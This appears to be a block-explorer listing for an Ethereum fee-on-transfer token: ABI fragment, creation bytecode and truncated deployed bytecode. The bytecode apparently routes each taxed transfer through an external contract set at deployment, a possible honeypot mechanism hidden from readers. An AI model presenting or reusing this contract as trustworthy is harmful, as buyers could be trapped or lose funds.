IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
610100604052601b60c09081527fe5a4a7e5a4b4e584bfe5ad90e5928ce5b08fe5a4b4e788b8e788b8000000000060e0526001906200003f9082620007fd565b5060408051808201909152600c81526b0e5a4a7e5a4b4e584bfe5ad960a41b6020820152600290620000729082620007fd565b50600380546001600160a81b0319166012908117909155600480546001600160a01b031916905561dead608052600060a0819052600e819055600f819055601081905560118190558082556013556064601455620000d290600a620009dc565b620000e39064cef5e80e38620009ed565b6017556200011e6103e86200010a6001601754620005d860201b620018591790919060201c565b6200066f60201b620018db1790919060201c565b601855620001456103e86200010a6004601754620005d860201b620018591790919060201c565b6019556200016c6103e86200010a6004601754620005d860201b620018591790919060201c565b601a55601c805463ffffffff60a81b1916630101000160a81b1790553480156200019557600080fd5b50604051620035aa380380620035aa833981016040819052620001b89162000a24565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200023d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000263919062000a5c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002b1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d7919062000a5c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000325573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034b919062000a5c565b601c80546001600160a01b03199081166001600160a01b039384169081178355600090815260076020818152604080842089881680865290835281852060001990819055600b80548816909217909155601b80548a8a16971687179055308086529383528185209585529482528084209490945582548616835260098152838320805460ff19908116600190811790925560038054610100908190048a1687528787208054841685179055600480548b1688528888208054851686179055868852888820805485168617905587548b168852600c8652888820805485168617905582548290048b168852888820805485168617905580548b168852888820805485168617905598548a1687528787208054841685179055858752878720805484168517905586548a168752600d8552878720805484168517905590540488168552858520805482168317905595549096168352838320805486168717905590825291902080549092169092179055601054600f54600e54620004f093620004dc92906200191d620006b9821b17901c565b620006b960201b6200191d1790919060201c565b6015819055506200051b601354620004dc601254601154620006b960201b6200191d1790919060201c565b601655601c546001600160a01b03166000908152600a60205260408120805460ff19166001179055600580546001600160a01b0319163317905560175490600690620005643390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601754604051620005c791815260200190565b60405180910390a350505062000b03565b600082600003620005ec5750600062000669565b6000620005fa8385620009ed565b90508262000609858362000a7a565b14620006665760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200066683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200071c60201b60201c565b600080620006c8838562000a9d565b905083811015620006665760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016200065d565b60008183620007405760405162461bcd60e51b81526004016200065d919062000ab3565b5060006200074f848662000a7a565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200078357607f821691505b602082108103620007a457634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620007f857600081815260208120601f850160051c81016020861015620007d35750805b601f850160051c820191505b81811015620007f457828155600101620007df565b5050505b505050565b81516001600160401b0381111562000819576200081962000758565b62000831816200082a84546200076e565b84620007aa565b602080601f831160018114620008695760008415620008505750858301515b600019600386901b1c1916600185901b178555620007f4565b600085815260208120601f198616915b828110156200089a5788860151825594840194600190910190840162000879565b5085821015620008b95787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000920578160001904821115620009045762000904620008c9565b808516156200091257918102915b93841c9390800290620008e4565b509250929050565b600082620009395750600162000669565b81620009485750600062000669565b81600181146200096157600281146200096c576200098c565b600191505062000669565b60ff841115620009805762000980620008c9565b50506001821b62000669565b5060208310610133831016604e8410600b8410161715620009b1575081810a62000669565b620009bd8383620008df565b8060001904821115620009d457620009d4620008c9565b029392505050565b60006200066660ff84168362000928565b8082028115828204841417620006695762000669620008c9565b80516001600160a01b038116811462000a1f57600080fd5b919050565b6000806040838503121562000a3857600080fd5b62000a438362000a07565b915062000a536020840162000a07565b90509250929050565b60006020828403121562000a6f57600080fd5b620006668262000a07565b60008262000a9857634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620006695762000669620008c9565b600060208083528351808285015260005b8181101562000ae25785810183015185820160400152820162000ac4565b506000604082860101526040601f19601f8301168501019250505092915050565b60805160a051612a7362000b37600039600081816104110152610f740152600081816105620152610faf0152612a736000f3fe6080604052600436106103a65760003560e01c8063844d591c116101e7578063c9c9afc51161010d578063f0cd1dac116100a0578063f84ba65d1161006f578063f84ba65d14610b08578063f872858a14610b28578063f8f6329014610b49578063fb4b8e6c14610b6957600080fd5b8063f0cd1dac14610a9c578063f1d5f51714610ab2578063f2fde38b14610ad2578063f680f79914610af257600080fd5b8063dd62ed3e116100dc578063dd62ed3e14610a01578063e6b2603b14610a47578063ec28438a14610a5c578063ef422a1814610a7c57600080fd5b8063c9c9afc514610994578063d2d7ad83146109b4578063da00097d146109ca578063dc44b6a0146109eb57600080fd5b8063a457c2d711610185578063c5d2418911610154578063c5d2418914610918578063c816841b1461092e578063c86079521461094e578063c867d60b1461096457600080fd5b8063a457c2d714610898578063a5d69d1f146108b8578063a9059cbb146108d8578063c49b9a80146108f857600080fd5b80638b42507f116101c15780638b42507f146108155780638da5cb5b1461084557806395d89b411461086357806398e944c81461087857600080fd5b8063844d591c146107be57806385261485146107de57806388790a68146107ff57600080fd5b80633b97084a116102cc5780635342acb41161026a57806375f0a8741161023957806375f0a874146107575780637d1db4a51461077c578063807c2d9c1461079257806382eefb43146107a857600080fd5b80635342acb4146106bc5780635c1fc6ef146106ec57806370a082311461070c578063715018a61461074257600080fd5b80634a74bb02116102a65780634a74bb021461064b5780634ada218b1461066c5780634cb80fd5146106865780635194f9bf146106a657600080fd5b80633b97084a146105db5780633ecad271146105fb5780634974d88f1461062b57600080fd5b80632198cf6c1161034457806327c8f8351161031357806327c8f835146105505780632b112e4914610584578063313ce5671461059957806339509351146105bb57600080fd5b80632198cf6c146104da57806323555d57146104fa57806323b872dd1461051057806326cd1e301461053057600080fd5b8063095ea7b311610380578063095ea7b31461044b5780631694505e1461047b57806318160ddd1461049b5780631870517a146104ba57600080fd5b806306fdde03146103b257806308733214146103dd5780630930907b146103ff57600080fd5b366103ad57005b600080fd5b3480156103be57600080fd5b506103c7610b89565b6040516103d491906125e7565b60405180910390f35b3480156103e957600080fd5b506103fd6103f8366004612635565b610c1b565b005b34801561040b57600080fd5b506104337f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016103d4565b34801561045757600080fd5b5061046b610466366004612676565b610cd8565b60405190151581526020016103d4565b34801561048757600080fd5b50601b54610433906001600160a01b031681565b3480156104a757600080fd5b506017545b6040519081526020016103d4565b3480156104c657600080fd5b506103fd6104d5366004612635565b610cef565b3480156104e657600080fd5b506103fd6104f53660046126b0565b610d98565b34801561050657600080fd5b506104ac60105481565b34801561051c57600080fd5b5061046b61052b3660046126e9565b610ded565b34801561053c57600080fd5b506103fd61054b366004612676565b610e58565b34801561055c57600080fd5b506104337f000000000000000000000000000000000000000000000000000000000000000081565b34801561059057600080fd5b506104ac610f6a565b3480156105a557600080fd5b5060035460405160ff90911681526020016103d4565b3480156105c757600080fd5b5061046b6105d6366004612676565b610ffd565b3480156105e757600080fd5b506103fd6105f636600461272a565b611033565b34801561060757600080fd5b5061046b610616366004612743565b600a6020526000908152604090205460ff1681565b34801561063757600080fd5b506103fd610646366004612760565b61118a565b34801561065757600080fd5b50601c5461046b90600160a81b900460ff1681565b34801561067857600080fd5b5060085461046b9060ff1681565b34801561069257600080fd5b506103fd6106a1366004612743565b6111d2565b3480156106b257600080fd5b506104ac60135481565b3480156106c857600080fd5b5061046b6106d7366004612743565b60096020526000908152604090205460ff1681565b3480156106f857600080fd5b506103fd610707366004612760565b61124a565b34801561071857600080fd5b506104ac610727366004612743565b6001600160a01b031660009081526006602052604090205490565b34801561074e57600080fd5b506103fd611292565b34801561076357600080fd5b506003546104339061010090046001600160a01b031681565b34801561078857600080fd5b506104ac60195481565b34801561079e57600080fd5b506104ac601a5481565b3480156107b457600080fd5b506104ac60165481565b3480156107ca57600080fd5b506103fd6107d93660046126b0565b61130c565b3480156107ea57600080fd5b50601c5461046b90600160c01b900460ff1681565b34801561080b57600080fd5b506104ac60115481565b34801561082157600080fd5b5061046b610830366004612743565b600d6020526000908152604090205460ff1681565b34801561085157600080fd5b506000546001600160a01b0316610433565b34801561086f57600080fd5b506103c7611361565b34801561088457600080fd5b50600554610433906001600160a01b031681565b3480156108a457600080fd5b5061046b6108b3366004612676565b611370565b3480156108c457600080fd5b506103fd6108d3366004612760565b6113bf565b3480156108e457600080fd5b5061046b6108f3366004612676565b611407565b34801561090457600080fd5b506103fd610913366004612760565b611414565b34801561092457600080fd5b506104ac600f5481565b34801561093a57600080fd5b50601c54610433906001600160a01b031681565b34801561095a57600080fd5b506104ac60125481565b34801561097057600080fd5b5061046b61097f366004612743565b600c6020526000908152604090205460ff1681565b3480156109a057600080fd5b506103fd6109af366004612743565b611496565b3480156109c057600080fd5b506104ac60185481565b3480156109d657600080fd5b50601c5461046b90600160b01b900460ff1681565b3480156109f757600080fd5b506104ac600e5481565b348015610a0d57600080fd5b506104ac610a1c36600461277d565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610a5357600080fd5b506103fd6114e2565b348015610a6857600080fd5b506103fd610a7736600461272a565b611564565b348015610a8857600080fd5b506103fd610a973660046126b0565b611624565b348015610aa857600080fd5b506104ac60155481565b348015610abe57600080fd5b506103fd610acd36600461272a565b611679565b348015610ade57600080fd5b506103fd610aed366004612743565b6116a8565b348015610afe57600080fd5b506104ac60145481565b348015610b1457600080fd5b506103fd610b233660046126b0565b611792565b348015610b3457600080fd5b50601c5461046b90600160b81b900460ff1681565b348015610b5557600080fd5b50600454610433906001600160a01b031681565b348015610b7557600080fd5b506103fd610b84366004612743565b6117e7565b606060018054610b98906127ab565b80601f0160208091040260200160405190810160405280929190818152602001828054610bc4906127ab565b8015610c115780601f10610be657610100808354040283529160200191610c11565b820191906000526020600020905b815481529060010190602001808311610bf457829003601f168201915b5050505050905090565b6000546001600160a01b03163314610c4e5760405162461bcd60e51b8152600401610c45906127e5565b60405180910390fd5b601183905560128290556013819055610c7181610c6b858561191d565b9061191d565b60165560148054610c829190612830565b6016541115610cd35760405162461bcd60e51b815260206004820152601c60248201527f53656c6c2066656573206d757374206265203525206f72206c657373000000006044820152606401610c45565b505050565b6000610ce533848461197c565b5060015b92915050565b6000546001600160a01b03163314610d195760405162461bcd60e51b8152600401610c45906127e5565b600e839055600f8290556010819055610d3681610c6b858561191d565b60155560148054610d479190612830565b6015541115610cd35760405162461bcd60e51b815260206004820152601b60248201527f4275792066656573206d757374206265203525206f72206c65737300000000006044820152606401610c45565b6000546001600160a01b03163314610dc25760405162461bcd60e51b8152600401610c45906127e5565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6000610dfa848484611aa0565b50610e4d8433610e48856040518060600160405280602881526020016129f1602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611ed5565b61197c565b5060015b9392505050565b6000546001600160a01b03163314610e825760405162461bcd60e51b8152600401610c45906127e5565b306001600160a01b03831603610ef95760405162461bcd60e51b815260206004820152603660248201527f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c604482015275616e6365206f6620697473206f776e20746f6b656e7360501b6064820152608401610c45565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610f46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd39190612852565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016600090815260066020526040812054610ff890610ff2610fe97f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031660009081526006602052604090205490565b60175490611f0f565b90611f0f565b905090565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610ce5918590610e48908661191d565b6000546001600160a01b0316331461105d5760405162461bcd60e51b8152600401610c45906127e5565b611080620186a061107a600160175461185990919063ffffffff16565b906118db565b8110156110f55760405162461bcd60e51b815260206004820152603c60248201527f43616e6e6f74207365742073776170207468726573686f6c6420616d6f756e7460448201527f206c6f776572207468616e20302e30303125206f6620746f6b656e73000000006064820152608401610c45565b611110606461107a600160175461185990919063ffffffff16565b8111156111855760405162461bcd60e51b815260206004820152603960248201527f43616e6e6f74207365742073776170207468726573686f6c6420616d6f756e7460448201527f20686967686572207468616e203125206f6620746f6b656e73000000000000006064820152608401610c45565b601855565b6000546001600160a01b031633146111b45760405162461bcd60e51b8152600401610c45906127e5565b601c8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146111fc5760405162461bcd60e51b8152600401610c45906127e5565b6001600160a01b0381166112225760405162461bcd60e51b8152600401610c459061286f565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b031633146112745760405162461bcd60e51b8152600401610c45906127e5565b601c8054911515600160c01b0260ff60c01b19909216919091179055565b6000546001600160a01b031633146112bc5760405162461bcd60e51b8152600401610c45906127e5565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b031633146113365760405162461bcd60e51b8152600401610c45906127e5565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b606060028054610b98906127ab565b6000610ce53384610e4885604051806060016040528060258152602001612a19602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611ed5565b6000546001600160a01b031633146113e95760405162461bcd60e51b8152600401610c45906127e5565b601c8054911515600160b01b0260ff60b01b19909216919091179055565b6000610e4d338484611aa0565b6000546001600160a01b0316331461143e5760405162461bcd60e51b8152600401610c45906127e5565b601c8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061148b90831515815260200190565b60405180910390a150565b6000546001600160a01b031633146114c05760405162461bcd60e51b8152600401610c45906127e5565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461150c5760405162461bcd60e51b8152600401610c45906127e5565b604051600090339047908381818185875af1925050503d806000811461154e576040519150601f19603f3d011682016040523d82523d6000602084013e611553565b606091505b505090508061156157600080fd5b50565b6000546001600160a01b0316331461158e5760405162461bcd60e51b8152600401610c45906127e5565b6115aa6103e861107a600160175461185990919063ffffffff16565b81101561161f5760405162461bcd60e51b815260206004820152603860248201527f43616e6e6f7420736574206d617820545820616d6f756e74206c6f776572207460448201527f68616e20302c3125206f6620746f74616c20737570706c7900000000000000006064820152608401610c45565b601955565b6000546001600160a01b0316331461164e5760405162461bcd60e51b8152600401610c45906127e5565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146116a35760405162461bcd60e51b8152600401610c45906127e5565b601a55565b6000546001600160a01b031633146116d25760405162461bcd60e51b8152600401610c45906127e5565b6001600160a01b0381166117375760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c45565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146117bc5760405162461bcd60e51b8152600401610c45906127e5565b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146118115760405162461bcd60e51b8152600401610c45906127e5565b6001600160a01b0381166118375760405162461bcd60e51b8152600401610c459061286f565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60008260000361186b57506000610ce9565b600061187783856128b1565b9050826118848583612830565b14610e515760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610c45565b6000610e5183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f51565b60008061192a83856128c8565b905083811015610e515760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c45565b6001600160a01b0383166119de5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c45565b6001600160a01b038216611a3f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c45565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416611b065760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610c45565b6001600160a01b038316611b685760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610c45565b601c54600160a01b900460ff1615611b8c57611b85848484611f7f565b9050610e51565b6001600160a01b0384166000908152600d602052604090205460ff16158015611bce57506001600160a01b0383166000908152600d602052604090205460ff16155b8015611be35750601c54600160c01b900460ff165b15611c4b57601954821115611c4b5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610c45565b3060009081526006602052604090205460185481108015908190611c795750601c54600160a01b900460ff16155b8015611c9e57506001600160a01b0386166000908152600a602052604090205460ff16155b8015611cb35750601c54600160a81b900460ff165b15611cd957601c54600160b01b900460ff1615611cd05760185491505b611cd982612065565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260069091529190912054611d2b918690611ed5565b6001600160a01b038716600090815260066020908152604080832093909355600990529081205460ff1680611d7857506001600160a01b03861660009081526009602052604090205460ff165b611d8c57611d87878787612212565b611d8e565b845b601c54909150600160b81b900460ff168015611dc357506001600160a01b0386166000908152600c602052604090205460ff16155b15611e4a57601a54611dee82610c6b896001600160a01b031660009081526006602052604090205490565b1115611e4a5760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610c45565b6001600160a01b038616600090815260066020526040902054611e6d908261191d565b6001600160a01b0380881660008181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611ec19085815260200190565b60405180910390a360019350505050610e51565b60008184841115611ef95760405162461bcd60e51b8152600401610c4591906125e7565b506000611f0684866128db565b95945050505050565b6000610e5183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ed5565b60008183611f725760405162461bcd60e51b8152600401610c4591906125e7565b506000611f068486612830565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611fd0918490611ed5565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611fff908361191d565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906120539086815260200190565b60405180910390a35060019392505050565b601c805460ff60a01b1916600160a01b17905560165460155460009161208b919061191d565b905060006120a6601154600e5461191d90919063ffffffff16565b905060006120c1601254600f5461191d90919063ffffffff16565b905060006120d6600261107a86818988611859565b905060006120e48683611f0f565b9050476120f0826123a0565b60006120fc4783611f0f565b9050600061211561210e8860026118db565b8990611f0f565b9050600061212a600261107a8481878d611859565b9050600061213c8361107a868b611859565b9050600061214e82610ff28786611f0f565b90508115612196576003546040516101009091046001600160a01b0316906108fc8415029084906000818181858888f19350505050158015612194573d6000803e3d6000fd5b505b80156121d8576004546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156121d6573d6000803e3d6000fd5b505b6000831180156121e85750600088115b156121f7576121f78884612533565b5050601c805460ff60a01b1916905550505050505050505050565b6001600160a01b0383166000908152600a6020526040812054819060ff16156122565761224f606461107a6015548661185990919063ffffffff16565b9050612294565b6001600160a01b0384166000908152600a602052604090205460ff161561229457612291606461107a6016548661185990919063ffffffff16565b90505b600b546040516323b872dd60e01b81526001600160a01b038781166004830152868116602483015260448201849052909116906323b872dd906064016020604051808303816000875af11580156122ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123139190612852565b1561231c575060005b8015612396573060009081526006602052604090205461233c908261191d565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061238d9085815260200190565b60405180910390a35b611f068382611f0f565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106123d5576123d56128ee565b6001600160a01b03928316602091820292909201810191909152601b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561242e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124529190612904565b81600181518110612465576124656128ee565b6001600160a01b039283166020918202929092010152601b5461248b913091168461197c565b601b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906124c4908590600090869030904290600401612965565b600060405180830381600087803b1580156124de57600080fd5b505af11580156124f2573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516125279291906129a1565b60405180910390a15050565b601b5461254b9030906001600160a01b03168461197c565b601b5460055460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156125bb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906125e091906129c2565b5050505050565b600060208083528351808285015260005b81811015612614578581018301518582016040015282016125f8565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060006060848603121561264a57600080fd5b505081359360208301359350604090920135919050565b6001600160a01b038116811461156157600080fd5b6000806040838503121561268957600080fd5b823561269481612661565b946020939093013593505050565b801515811461156157600080fd5b600080604083850312156126c357600080fd5b82356126ce81612661565b915060208301356126de816126a2565b809150509250929050565b6000806000606084860312156126fe57600080fd5b833561270981612661565b9250602084013561271981612661565b929592945050506040919091013590565b60006020828403121561273c57600080fd5b5035919050565b60006020828403121561275557600080fd5b8135610e5181612661565b60006020828403121561277257600080fd5b8135610e51816126a2565b6000806040838503121561279057600080fd5b823561279b81612661565b915060208301356126de81612661565b600181811c908216806127bf57607f821691505b6020821081036127df57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008261284d57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561286457600080fd5b8151610e51816126a2565b60208082526022908201527f46656520416464726573732063616e6e6f74206265207a65726f206164647265604082015261737360f01b606082015260800190565b8082028115828204841417610ce957610ce961281a565b80820180821115610ce957610ce961281a565b81810381811115610ce957610ce961281a565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561291657600080fd5b8151610e5181612661565b600081518084526020808501945080840160005b8381101561295a5781516001600160a01b031687529582019590820190600101612935565b509495945050505050565b85815284602082015260a06040820152600061298460a0830186612921565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006129ba6040830184612921565b949350505050565b6000806000606084860312156129d757600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209189a9570aeb2df8049fb834c793876792641220c19713514e1c0743f76d5e3464736f6c634300081200330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000009d72d38b15029c6c59091d004e5123a6eb0339ae
Deployed Bytecode
0x6080604052600436106103a65760003560e01c8063844d591c116101e7578063c9c9afc51161010d578063f0cd1dac116100a0578063f84ba65d1161006f578063f84ba65d14610b08578063f872858a14610b28578063f8f6329014610b49578063fb4b8e6c14610b6957600080fd5b8063f0cd1dac14610a9c578063f1d5f51714610ab2578063f2fde38b14610ad2578063f680f79914610af257600080fd5b8063dd62ed3e116100dc578063dd62ed3e14610a01578063e6b2603b14610a47578063ec28438a14610a5c578063ef422a1814610a7c57600080fd5b8063c9c9afc514610994578063d2d7ad83146109b4578063da00097d146109ca578063dc44b6a0146109eb57600080fd5b8063a457c2d711610185578063c5d2418911610154578063c5d2418914610918578063c816841b1461092e578063c86079521461094e578063c867d60b1461096457600080fd5b8063a457c2d714610898578063a5d69d1f146108b8578063a9059cbb146108d8578063c49b9a80146108f857600080fd5b80638b42507f116101c15780638b42507f146108155780638da5cb5b1461084557806395d89b411461086357806398e944c81461087857600080fd5b8063844d591c146107be57806385261485146107de57806388790a68146107ff57600080fd5b80633b97084a116102cc5780635342acb41161026a57806375f0a8741161023957806375f0a874146107575780637d1db4a51461077c578063807c2d9c1461079257806382eefb43146107a857600080fd5b80635342acb4146106bc5780635c1fc6ef146106ec57806370a082311461070c578063715018a61461074257600080fd5b80634a74bb02116102a65780634a74bb021461064b5780634ada218b1461066c5780634cb80fd5146106865780635194f9bf146106a657600080fd5b80633b97084a146105db5780633ecad271146105fb5780634974d88f1461062b57600080fd5b80632198cf6c1161034457806327c8f8351161031357806327c8f835146105505780632b112e4914610584578063313ce5671461059957806339509351146105bb57600080fd5b80632198cf6c146104da57806323555d57146104fa57806323b872dd1461051057806326cd1e301461053057600080fd5b8063095ea7b311610380578063095ea7b31461044b5780631694505e1461047b57806318160ddd1461049b5780631870517a146104ba57600080fd5b806306fdde03146103b257806308733214146103dd5780630930907b146103ff57600080fd5b366103ad57005b600080fd5b3480156103be57600080fd5b506103c7610b89565b6040516103d491906125e7565b60405180910390f35b3480156103e957600080fd5b506103fd6103f8366004612635565b610c1b565b005b34801561040b57600080fd5b506104337f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016103d4565b34801561045757600080fd5b5061046b610466366004612676565b610cd8565b60405190151581526020016103d4565b34801561048757600080fd5b50601b54610433906001600160a01b031681565b3480156104a757600080fd5b506017545b6040519081526020016103d4565b3480156104c657600080fd5b506103fd6104d5366004612635565b610cef565b3480156104e657600080fd5b506103fd6104f53660046126b0565b610d98565b34801561050657600080fd5b506104ac60105481565b34801561051c57600080fd5b5061046b61052b3660046126e9565b610ded565b34801561053c57600080fd5b506103fd61054b366004612676565b610e58565b34801561055c57600080fd5b506104337f000000000000000000000000000000000000000000000000000000000000dead81565b34801561059057600080fd5b506104ac610f6a565b3480156105a557600080fd5b5060035460405160ff90911681526020016103d4565b3480156105c757600080fd5b5061046b6105d6366004612676565b610ffd565b3480156105e757600080fd5b506103fd6105f636600461272a565b611033565b34801561060757600080fd5b5061046b610616366004612743565b600a6020526000908152604090205460ff1681565b34801561063757600080fd5b506103fd610646366004612760565b61118a565b34801561065757600080fd5b50601c5461046b90600160a81b900460ff1681565b34801561067857600080fd5b5060085461046b9060ff1681565b34801561069257600080fd5b506103fd6106a1366004612743565b6111d2565b3480156106b257600080fd5b506104ac60135481565b3480156106c857600080fd5b5061046b6106d7366004612743565b60096020526000908152604090205460ff1681565b3480156106f857600080fd5b506103fd610707366004612760565b61124a565b34801561071857600080fd5b506104ac610727366004612743565b6001600160a01b031660009081526006602052604090205490565b34801561074e57600080fd5b506103fd611292565b34801561076357600080fd5b506003546104339061010090046001600160a01b031681565b34801561078857600080fd5b506104ac60195481565b34801561079e57600080fd5b506104ac601a5481565b3480156107b457600080fd5b506104ac60165481565b3480156107ca57600080fd5b506103fd6107d93660046126b0565b61130c565b3480156107ea57600080fd5b50601c5461046b90600160c01b900460ff1681565b34801561080b57600080fd5b506104ac60115481565b34801561082157600080fd5b5061046b610830366004612743565b600d6020526000908152604090205460ff1681565b34801561085157600080fd5b506000546001600160a01b0316610433565b34801561086f57600080fd5b506103c7611361565b34801561088457600080fd5b50600554610433906001600160a01b031681565b3480156108a457600080fd5b5061046b6108b3366004612676565b611370565b3480156108c457600080fd5b506103fd6108d3366004612760565b6113bf565b3480156108e457600080fd5b5061046b6108f3366004612676565b611407565b34801561090457600080fd5b506103fd610913366004612760565b611414565b34801561092457600080fd5b506104ac600f5481565b34801561093a57600080fd5b50601c54610433906001600160a01b031681565b34801561095a57600080fd5b506104ac60125481565b34801561097057600080fd5b5061046b61097f366004612743565b600c6020526000908152604090205460ff1681565b3480156109a057600080fd5b506103fd6109af366004612743565b611496565b3480156109c057600080fd5b506104ac60185481565b3480156109d657600080fd5b50601c5461046b90600160b01b900460ff1681565b3480156109f757600080fd5b506104ac600e5481565b348015610a0d57600080fd5b506104ac610a1c36600461277d565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610a5357600080fd5b506103fd6114e2565b348015610a6857600080fd5b506103fd610a7736600461272a565b611564565b348015610a8857600080fd5b506103fd610a973660046126b0565b611624565b348015610aa857600080fd5b506104ac60155481565b348015610abe57600080fd5b506103fd610acd36600461272a565b611679565b348015610ade57600080fd5b506103fd610aed36600461